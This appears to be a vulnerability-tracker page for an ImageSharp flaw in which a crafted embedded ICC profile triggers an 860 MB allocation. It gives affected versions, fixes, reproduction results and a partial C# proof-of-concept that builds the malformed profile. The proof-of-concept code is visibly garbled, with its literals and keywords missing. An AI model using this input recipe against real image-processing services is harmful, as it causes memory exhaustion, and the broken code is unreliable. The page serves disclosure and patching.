Live › vulnerability › CVE-2026-106114
Go to dashboardA crafted embedded ICC color profile makes ImageSharp allocate about 860 MB from attacker-controlled channel and grid values before checking the data exists. The reproduction shows a large transient allocation and a caught exception, not a crash or code execution.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 14:21 UTC, 0h before NVD. All times on this page are UTC.
Applications that decode untrusted images with ImageSharp and accept embedded ICC profiles are exposed to memory pressure. On v4, the path needs ColorProfileHandling set to Convert, which is not the default; on v1 to v3, reading IccProfile.Entries from an untrusted JPEG reaches the parser. Services that only process trusted images or never read ICC profile data can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| SixLabors.ImageSharp | nuget | >= 4.0.0, < 4.1.2 | 4.1.2 |
| SixLabors.ImageSharp | nuget | >= 1.0.0-beta0001, < 3.2.0 | 3.2.0 |
| sixlabors imagesharp | vendor | >= 1.0.0, < 3.2.0 | 3.2.0 |
| sixlabors imagesharp | vendor | >= 4.0.0, < 4.1.2 | 4.1.2 |
dotnet list package and look for SixLabors.ImageSharp below 4.1.2 or below 3.2.0ColorProfileHandling.Convert on decoder options, which is the path that triggers the 860 MB allocation in v4SixLabors.ImageSharp to 4.1.2 on the v4 lineSixLabors.ImageSharp to 3.2.0 on the v1 to v3 lineEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.
In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.
SixLabors.ImageSharp (NuGet)>= 1.0.0-beta0001, <= 4.1.10815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.The parser defect is present from the first published NuGet prerelease, 1.0.0-beta0001, through the latest published release, 4.1.1. The automatic Image.Load conversion path used by the main PoC exists in >= 4.0.0, <= 4.1.1; earlier versions expose the same parser defect through the public IccProfile.Entries accessor.
The reproduced profile has an A2B0 multi-process-elements (mpet) tag with a
clut element declaring 15 input channels, 15 output channels, and three grid
points per input channel. ReadClutF32
computes 3^15 * 15 and allocates that many floats before reading any CLUT
values or verifying that the tag has enough remaining data. The supplied
200-byte profile ends immediately after the CLUT grid descriptor.
In v4, the path is reached when an application decodes an embedded ICC profile using
DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert. The
default setting, Preserve, does not parse the profile for conversion.
In v1 through v3, ReadClutF32 uses a jagged representation. Loading an ICC-bearing JPEG and then accessing decoded.Metadata.IccProfile.Entries reaches the public lazy parser. The malformed profile allocates the 3^15-entry outer array before the missing CLUT values are detected.
The supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1
net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result.
Published 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by IccProfile.Entries; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published 1.0.0-beta0001 public IccProfile(bytes).Entries path allocated 114,813,528 bytes before a catchable managed bounds exception.
One exploit decode increased GC.GetTotalAllocatedBytes(true) by approximately
861.5 million bytes, then returned
InvalidIccProfileException: Invalid conversion method.
The reader catches the truncated-tag error and drops that tag. The identical
input with ColorProfileHandling.Preserve completed successfully with roughly
0.5 million allocated bytes in the harness.
One complete exploit run produced:
mode=exploit profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
observed_exception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method.
managed_bytes_allocated=861476416
Docker exit status: 0
The control from the same image produced:
mode=control profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
decoded=1x1 icc_present=True
managed_bytes_allocated=511888
Docker exit status: 0
The exact allocation counter includes runtime allocations and varies slightly between processes; the requested CLUT array itself is 860,934,420 bytes.
No active exploitation is known.
This report demonstrates a large attacker-controlled transient allocation in the ICC conversion path. It does not demonstrate unhandled process termination: allocation failure is caught while parsing the malformed tag, so the impact should be limited to memory pressure / input-validation failure unless a reproduction demonstrates a stronger result.
Program.cs:
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Png;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
static class Program
{
private const int RequestedFloats = 215233605; // 3^15 * 15
private const int RequestedBytes = RequestedFloats * sizeof(float);
private static void U32(byte[] bytes, int offset, uint value) => BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);
private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);
private static () { ( i = ; i < .Length; i++) bytes[offset + i] = ()[i]; }
{
tagOffset = ;
elementOffset = ;
[] profile = [];
U32(profile, , ()profile.Length);
Ascii(profile, , );
U32(profile, , );
U32(profile, , );
U32(profile, , );
U32(profile, , );
Ascii(profile, , );
U32(profile, , );
U32(profile, , );
U32(profile, , tagOffset);
U32(profile, , );
U32(profile, tagOffset, );
U16(profile, tagOffset + , );
U16(profile, tagOffset + , );
U32(profile, tagOffset + , );
U32(profile, tagOffset + , );
U32(profile, tagOffset + , );
U32(profile, elementOffset, );
U16(profile, elementOffset + , );
U16(profile, elementOffset + , );
( i = ; i < ; i++) profile[elementOffset + + i] = ;
profile;
}
{
image = Image<Rgba32>(, );
image.Metadata.IccProfile = IccProfile(icc);
output = MemoryStream();
image.Save(output, PngEncoder());
output.ToArray();
}
{
mode = .Length == ? [] : ;
(;
Console.WriteLine();
Console.WriteLine();
Console.WriteLine();
before = GC.GetTotalAllocatedBytes();
{
[] png = BuildPng(BuildTruncatedProfile());
options = DecoderOptions
{
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